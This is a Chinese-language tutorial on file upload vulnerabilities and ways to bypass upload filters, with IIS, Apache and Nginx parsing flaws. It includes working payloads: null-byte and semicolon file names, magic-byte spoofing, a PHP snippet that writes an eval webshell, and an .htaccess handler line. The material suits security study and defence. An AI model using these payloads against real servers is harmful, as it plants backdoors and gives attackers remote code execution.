zl程序教程

您现在的位置是:首页 >  其他

当前栏目

文件上传漏洞及常见的利用方式

漏洞文件上传 利用 方式 常见
2023-09-14 09:05:18 时间

概述

“文件上传”功能是目前互联网应用当中最常见的功能,其功能本身是一个正常的业务需求。对于网站来说,很多时候也确实需要用户上传文件到服务器。比如在个人信息中上传头像、相册功能上传保存照片、类似贴吧留言板功能的上传图片附件、邮件发送附带附件、招聘网站上传简历之类的等等功能。

既然“文件上传”这个功能本身没有问题,那么又是如何成为漏洞的呢?在什么条件下会成为漏洞?

其实“文件上传”本身是没有问题,有问题的是上传文件后,服务器对“被上传的文件”的处理与解释文件。如果说服务器程序对用户上传的文件进行校验或过滤不严,处理逻辑做的不够安全,导致用户可以提交修改过后的数据(一般为webshell),从而导致非常严重的后果。

“文件上传”漏洞与“WebShell”

“文件上传漏洞”一般都是指代“上传WEB脚本能够被服务器解析”的问题,也就是常说的WebShell问题。

当网络攻击者利用文件上传漏洞上传了一个可执行的文件到服务器并执行(上传的文件可以是木马,病毒,恶意脚本或者WebShell等),因“文件上传漏洞”的技术利用门槛低的原因,造就了攻击的直接、有效、易实施性,可以称得上没有什么技术门槛。

大多数网络攻击者,在利用“文件上传漏洞”后,都会留下WebShell(网页后门)方便以后再次进入系统。

需要说明的是“文件上传漏洞”的利用进场会使用到WebShell,但是WebShell的植入方式不仅仅只有“文件上传漏洞”这一种方式。

“文件上传漏洞”可被利用的必要条件:

  • 上传的文件能够被WEB容器解释且执行,所以文件上传后的所在目录必须是WEB容器能够覆盖到的路径。
  • 用户能够通过WEB访问上传的文件,如果说脚本文件上传了,但是无法通过WEB进行访问或者说无法通过WEB容器解释该上传文件,这种情况不能说存在“文件上传漏洞”,因为无法被利用。
  • 用户上传的脚本文件被安全规则过滤、格式化、图片压缩等功能改变了其内容,导致WebShell失效,同样会让“文件上传漏洞”攻击不成功。

分别用一句话概括就是:

  • WebShell上传成功,未被杀;
  • 知道WebShell的路径在哪;
  • 上传的WebShell能狗正常运行。

文件上传漏洞的原理

上文概述我们有解释,“文件上传”本身的功能是互联网应用当中最常见的功能。如用户头像上传,留言板图片上传,附件文档上传等。一些文件上传功能的实现时,代码没有进行严格限制用户上传的文件后缀以、文件类型或文件内容,导致允许攻击者向某个可通过Web访问的目录上传任意脚本文件,并能够将这些文件传递给WEB容器解释器,就可以在远程服务器上执行任意WebShell脚本。

当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell等其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞及脚本的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。

一般情况下造成“文件上传漏洞”的主要原因有三种(包括但不限于):

  • 文件上传时检查不严。

    • 有一些网络应用在文件上传时根本没有进行文件格式检查及过滤,导致攻击者可以直接任意的上传恶意脚本文件。有一些网络应用仅仅在客户端进行了检查,这些在攻击者眼里几乎所有的客户端检查无限等同于没有检查,攻击者可以通过BurpSuite,Fiddler等断点上传工具即可轻松绕过客户端的检查。还有一些应用虽然在服务器端进行了黑名单过滤检查,但是却可能忽略了大小写,如将后缀“.php”改为“.Php”即可绕过检查;还有一些应用虽然在服务器端进行了白名单检查却忽略了“%00截断符”的作用,如应用本来只允许上传jpg图片,那么可以构造文件名为“xxx.php%00.jpg”,因为“%00”为十六进制的“0x00字符”,造成了“.jpg”被截断不会被读取,骗过了应用的上传文件类型检测,但对于服务器来说,因为“%00字符”截断的关系,最终上传的文件被解析成了“xxx.php”文件。
  • 文件上传后修改文件名时处理不当。

    • 有一些服务器端进行了完整的黑名单和白名单过滤的情况下,在修改已上传文件文件名上允许用户修改文件后缀。如已经过滤了用户只能上传“.jpg”文件时攻击者可以先将“.php”文件后缀修改为“.jpg”,成功上传后在修改文件名时将后缀改回“.php”文件。
  • 使用第三方插件时引入。

    • 很多应用在开发过程中都直接引用了带有文件上传功能的第三方插件,而这些插件的文件上传功能的实现上可能存在漏洞,攻击者可通过这些漏洞进行文件上传攻击。如著名的博客平台WordPress就有丰富的插件,而这些插件中每年都会被挖掘出大量的文件上传漏洞。

“文件上传漏洞”被利用植入“WebShell”后的常见安全问题:

  • 上传文件是WebShell时,攻击者可通过这些网页后门执行命令并控制服务器;
  • 上传文件是钓鱼图片或者包含了脚本的图片时,图片中的脚本,在某些版本的浏览器上会被作为脚本执行,从而被利用于钓鱼或者欺诈;
  • 上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击;
  • 上传文件是病毒或者木马文件时,用于诱骗普通用户或者管理员下载执行或者直接自动运行;

上传检测流程概述

一般情况下,一个文件以HTTP协议进行上床时,将以POST请求发送至WEB服务器,WEB服务器接收到请求并同意后,用户与WEB服务器将建立连接,并传输DATA。

上传服务器文件命名规则

  • 上传文件名与服务器文件名一致(已经不多见了)
  • 上传文件名与服务器文件名不一致(一般采用随机数、时间戳、日期命名)

常见的检测方式

  1. 客户端本地JavaScript检测(通常为检测文件扩展名,也不多见但不是绝对性的没有)
  2. 服务端MIME类型检测(检测Content-Type内容)
  3. 服务端目录路经检测(检测跟path参数相关的内容)
  4. 服务端文件扩展名检测(检测跟文件extention相关的内容)
  5. 服务端文件内容检测(检测内容是否合法或含有恶意代码)

“文件上传漏洞”-本地验证检测绕过

客户端本地JS绕过(Javascript检测)

  • 首先判断JS本地验证

    • 通常可以根据它的验证警告弹窗的速度可以判断,如果电脑运行比较快,可以使用BurpSuite抓包,在点击提交的时候BurpSuite没有抓到爆,那么就说明这个是本地JS验证
  • 绕过方法

    • 使用BurpSuite抓包改名
    • 使用firebug打开开发人员管理工具,直接删除本地验证的JS代码
    • 添加JS验证的白名单,比如将php格式添加进去

客户端白名单绕过

修改允许上传的文件类型(见上文)

“文件上传漏洞”-服务端检测绕过

服务端检测绕过(MIME类型检测)

MEMI的作用:使客户的软件区分不同种类的数据,例如WEB浏览器就是通过MEIME类型来判断文件是否是GIF文件,还是可以打印的PostScript文件。

WE B服务器使用MIME来说明发送数据的种类,WEB客户端使用MIME来说明希望接收到的数据种类。

Tomcat的安装目录\conf\web.xml中就定义了大量MIME类型

绕过方法:

  • 直接使用BurpSuite抓包,得到post上传的数据后,将"Content-Type:text/plain"改成"Content-Type:image/gif"
  • 即可成功绕过。

服务端目录路经检测

目录路经检测,即检测路经是否合法,但首位特殊一些的路经都没有防御。比如fckeditor php <= 2.6.4 任意文件上传漏洞。

当POST请求的URL如下的时候"/fckeditor264/filemanager/connectors/php/connector?Command=FileUpload&Type=Image&CurrentFolder=abc.php%00.GIF HTTP/1.0"

CurrentFolder这个变量的值回传到ServerMapFolder($resourceType,$folderPath,$sCommand)中的形参$folder里,而$folder在这个函数中并没有做任何检测,就被CombinePaths()了

filepath路经修改绕过

可以用来突破自动随机数时间戳命名规则

当我们上传一个脚本文件的时候,如"xxx.gif"。可以通过改变文件上传后的路经,如"/x.asp/"(需要一定的创建权限,不一定真实创建);
成功创建后为"x.asp/xxx.gif",也可以直接改变文件名称为"a.asp;.xxx.gif"进行绕过。

绕过的原理就是在文件上传目录没有可执行权限的情况下改变上传路经进行突破。

在这里插入图片描述

1111

1

服务端文件扩展名检测

黑名单检测

黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多;
一般情况下会有一个专门的blacklist文件,里面包含有常见的危险脚本文件,比如fckeditor 2.4.3之前版本的黑名单

如何绕过黑名单

  1. 文件名大小写绕过
    • 用像AsP,PhP之类的文件名绕过黑名单检测
  2. 名单列表绕过
    • 用黑名单里没有的名单进行绕过攻击,比如黑名单没有 "asa"或者"cer"之类的文件名
  3. 特殊文件名绕过
    • 比如发送的HTTP包里把文件名改为"test.asp.“或者"test.asp_”(下划线为空格),这种命名方式在WIN系统使不被允许的,所以需要在BurpSuite之类里进行修改,然后绕过验证后,会被WIN系统自动去掉后面的点或者空格。需要注意的是Unix/Linux系统没有这种特性。
  4. 0x00截断绕过
    • 在扩展名检测目前貌似只遇到过asp的程序有这种漏洞,给个简单的伪代码 name = getname(http request)
    • 如果说这个时候获取到的文件名是"xxx.asp0x00.jpg"
    • type = gettype(name)
    • gettype()函数里处理方式是从后往前扫描扩展名,所以会被判断为jpg文件
  5. .htaccess文件攻击(这种绕过方式并不现实,有个前提条件就是需要.htaccess文件可被执行,具体参考下文的Apache解析漏洞)
  6. 解析调用/漏洞绕过
    • 这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞

白名单册检测

白名单相对于黑名单来说要安全一些,但也不是绝对的安全。

如何绕过白名单

  1. 0x00截断绕过
    • 用像xxx.asp%00.jpg的方式进行截断,属于白名单文件,在利用服务端代码的检测逻辑进行漏洞利用攻击。
  2. 解析调用/漏洞绕过,这类漏洞直接配合上传一个代码注入过的白名单文件即可,在利用漏洞解析/调用。
  3. ".htaccess"文件攻击
    • 参照下文Apache解析漏洞

服务端文件内容检测绕过

如果文件内容检测设置的比较严格,那么文件上传攻击将变得很困难。可以说这是代码层检测的最后一道关卡。如果内容检测被突破了,就算没有代码层的漏洞,也会在利用应用层的解析漏洞提供非常便利的机会。

绕过文件头检测

  • 主要是检测文件内容的开始处的文件头,比如图片类型的文件头如下

  • 要绕过jpg文件头检测就要在文件头写上下图中的值

  • Value = FF D8 FF E0 00 10 4A 46 49 46
    在这里插入图片描述

  • 要绕过gif文件头检测就要在文件头写上下图中的值

  • Value = 47 49 46 38 39 61

  • 要绕过png文件头检测就要在文件头写上下图中的值

  • Value = 89 50 4E 47

文件相关信息检测

图像文件相关信息检测通常用的是gettimagesize()函数,只需要把文件头部分伪造好就OK了,然后在文件头的基础上加上脚本信息,就如同下图结构。

GIF89a (...some binary data for image...)<?php phpinfo();?> (skipping the rest of binary data)

文件加载检测

  • 该类型的检测方式,可以称之为最变态的检测了。一般是调用API或函数去进行文件加载测试。常见的就是图像渲染测试,再变态一些的甚至是进行二次渲染(详见下文)对渲染/加载测试的攻击方式是代码注入绕过,对二次渲染的攻击方式是攻击文件加载器本身。
  • 这里简单说下对渲染/加载测试攻击-代码注入绕过,可以利用图像处理软件对一张图片进行代码注入,用"winhex"看数据分析
  • 原理是在不破坏文件本身的渲染的情况下找一个空白去进行代码填充,一般会是图片的注释区,对于渲染测试基本上可以绕过,因为文件器本身的文件结构是完整的

绕过二次渲染

  • 攻击函数本身
  • 通过上传不完整的图片让其函数暴露,然后对其展开攻击
  • 第二种方法:对文件加载器进行溢出攻击

表单提交按钮🔘

  • 写入表单<input type="submit" value="提交" name="submit">
  • 上传"xxx.asa"脚本文件

“文件上传漏洞”-文件解析漏洞

在文件上传漏洞的利用过程中,网络攻击者发现一些和Web Server本身特性相关的功能。这些往往是因为应用的开发人员没有深入理解Web Server的细节本身导致的。如果对此加以利用的话,这种弊端会成为网络攻击者的有力攻击手段。这就是我们要说的解析漏洞,解析漏洞主要说的是一些特殊文件被IIS、Apache、Nginx在一些特定情况下解释称脚本文件格式的漏洞。

IIS文件解析漏洞

IIS 5.x/6.0文件解析利用方法有两种

目录解析(文件扩展名解析)

当网站目录下建立的文件夹名称为“.asp”或者“.asp”时,其目录内的任何扩展名的文件都会被IIS服务器当作asp文件进行解析并被执行。

举例:如果上传的脚本名称为“/xxx.asp/xxx.jpg”
当上传的脚本名称如上述示例那样,这个时候WEB容器服务器就无法识别出被上传的是“/xxx.asp/xxx.jpg”文件还是“/xxx.asp”目录下的“xxx.jpg”文件。

当网络攻击者可硬直上传文件夹的路径时,就可以不管上传后的脚本文件是否被改名都可以拿到Shell了。

“;”分号文件解析

前文我们有提到可以通过“0x00”字符阶段文件名的文件上传漏洞利用的方式,在IIS 6.0处理文件解析时,也曾经出过类似的漏洞,不过相比较“0x00”截断符,这里变成了“;”(分号)。

当文件名为“xxx.asp;xxx.jpg”的时候,IIS 6.0会将文件解析为“xxx.asp”,文锦名被截断了,从而导致“xxx.asp”脚本被子执行。比如上main这个例子,IIS 6.0会执行“xxx.asp”,而不会管“xxx.jpg”。

这里需要说明一下,这两个IIS的漏洞,需要在服务器的本地硬盘上确实存在这样的文件夹,如果知识通过WEB应用的URL映射出来的话,时无法触发文件上传漏洞的。

同样的“;”分号文件解析也仅适用于上传的文件没有被过滤进行二次变更文件名的情况下,如果文件在上传之后被程序进行了重命名(程序在实现上传文件功能实现的时候,为了不会出现重复文件名的情况下会使用时间戳加随机字符对上传的文件进行二次重命名),也不会触发该文件上传漏洞。

这些历史上存在的漏洞,也许今天还能在互联网上找到不少未修补漏洞的网站

畸形文件名解析

在一些特定的情况下,畸形的文案名也会被解析为可利用脚本

举例:

  • “xxx.asa”
  • “xxx.cer”
  • “xxx.cdx”

附:
".asa"后缀的脚本在 IIS 7.0/7.5 也是可以被解析的
".cer"后缀的脚本在 IIS 7.0有时候也是会被解析的,有时候则不可以

PUT功能所导致的若干上传脚本问题

PUT是WebDav中定义的一个方法。WevDav大大扩展了HTTP协议中的GET、POST、HEAD等功能,它所包含的PUT方法,允许用户上传文件到指定的文件路径下。

在许多的WebServer中,默认是禁用了该方法的,或者对能够上传的文件做了严格限制。但是在IIS中,如果目录支持写入权限,同同时又开启了WebDav,则会支持PUT协议,再结合MOVE命令,就可以将原本情况的只允许上传文本文件改写为脚本文件来拿到WebShell。(这里需要注意的是“MOVE”是否能够执行,取决于IIS服务器)是否勾选了“脚本资源访问”的复选框。

国内的安全研究学者zwell曾经写过一个针对PUT协议的自动化扫描工具“IIS PUT Scanner”,用以帮助检测此类问题。

从PUT协议的攻击原理上来看,造成此方法的安全漏洞是管理员对服务器配置不当所造成的,所以说当管理员不了解安全的风险和细节的情况下,等于向网络攻击者敞开了大门。

"PUT功能所导致的若干上传脚本问题"这段,在"道哥"所著的"白帽子讲WEB安全"一书中,有详细的讲解,有兴趣的话可以去看一看

Apache文件解析漏洞

Apache文件解析一般配合黑名单来使用(个人观点:黑名单是一种非常不好的设计思想)

Apache文件解析特性:Apache是从后往前开始进行判断解析,如果不认识,就继续往前判断。
比如"xxx.php.rar.ttt"这个脚本,因为Apache不认识"rar"、“ttt"所以会一直向前遍历,直到识别”.php",就会解析成"php"文件。

网络攻击者一般会在测试的时候讲常见的后缀都写上,去测试是否是合法的后缀,不是别的后缀逐级向前识别。
比如"xxx.php.asa.asp.aspx…"、“xxx.php.zzz.”

Apache的这个特性,很多研发人员在写应用对应实现的功能时并不知道,即使知道,有的研发人员也会认为这是Web Server该负责的事情。但是如果不考虑这些因素,写出对应的安全检查功能,可能就会存在该缺陷。最终的结果就是用户上传的脚本被执行。

.htaccess文件解析

该文件解析漏洞需要拿到服务器权限之后才能更改,一般常用于留后门使用。

如果说在Apache中 “.htaccess"可被执行,且可被上传,那么就可以尝试在”.htaccess"中写入:
“<FilesMatch “xxx.jpx”>SetHandler aplication/x-httpd-php”
然后再上传shell.jpg的木马,这样shell.jpg酒客解析为php文件

Nginx文件解析漏洞

Nginx文件解析漏洞是我国安全组织80sec发现的,其指出在Nginx配置Fast-CGI开启的状况下,会存在文件类型解析问题。

其实严格意义来说,该文件解析漏洞与Nginx本身的关系并不大,Nginx知识作为一个代理将请求转发给Fast-CGI Server,然后PHP在后端处理。所以说在其他环境下的Fast-CGI,PHP同样存在这个问题,只是使用Nginx作为Web Server时,一般使用Fast-CGI的方式调用脚本解释器的方式最为常见。

具体表现形似为:
当上传一个"xxx.jpg"文件,内容为
"<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>’);?>"的文件(引号内的内容),上传成功后访问 xxx.jpg/.php,则会在这个目录下生成一句话木马的 shell.php。

在任何配置为Fast-CGI的PHP应用上传一张图片(可能是头像,也可能是上传的图片或者是附件等),其实图片内容是PHP文件,则将导致代码执行。其他可以上传的合法文件如文本文件、压缩文件等情况类似。

出现该漏洞的原因与在"Fast-CGI方式下,PHP获取环境变量的方式"有关。
PHP的配置文件中有一个关键的选项"cgi.fix_pathinfo",这个选项默认是开启的,状态如下:

cgi.fix_pathinfo = 1

这个功能原本是想解决"info.php/test"这种URL时,能够正确的解析到"info.php"上。

PHP官方给出的建议是将 "cgi.fix_pathinfo"设置为0,但是可以预见的是,官方的这种消极态度会让许许多多的"不知情者"遭受重大的损失。

Nginx < 8.03 空字节代码执行漏洞

影响版本:0.5.,0.6.,0.7 <= 0.7.65,0.8 <= 0.8.37

Nginx在图片中嵌入PHP代码然后访问

执行方式:“xxx.jpg%00.php”,从而执行其中的脚本

该原理是网络攻击者通过上传过程中的POST包,在文件名添加一个"%00"字节的方式,可以截断某些函数对文件名的判断。

因为在许多函数中,比如C、PHP等语言的常用字符串处理函数时,“0x00"被认定为终止符。受此影响的环境的WEB应用和和一些服务器。
比如原本的网络应用的上传功能只允许上传"xxx.jpg"文件,可以通过构造一个包含"0x00"截断的文件名(需要修改POST包),将其改为"xxx.php%00.jpg”,其中"%00"为十六进制的00字符,此时对于服务器来说,该脚本文件的因为"%00"截断的关系,最终会变成"xxx.php"

"%00"字符截断的问题不只是在上传文件漏洞中有所利用,因为这是一个被广泛应用于字符串处理函数的保留字符,因此在各种不同的业务逻辑中都可能出现问题,该问题需要引起重视。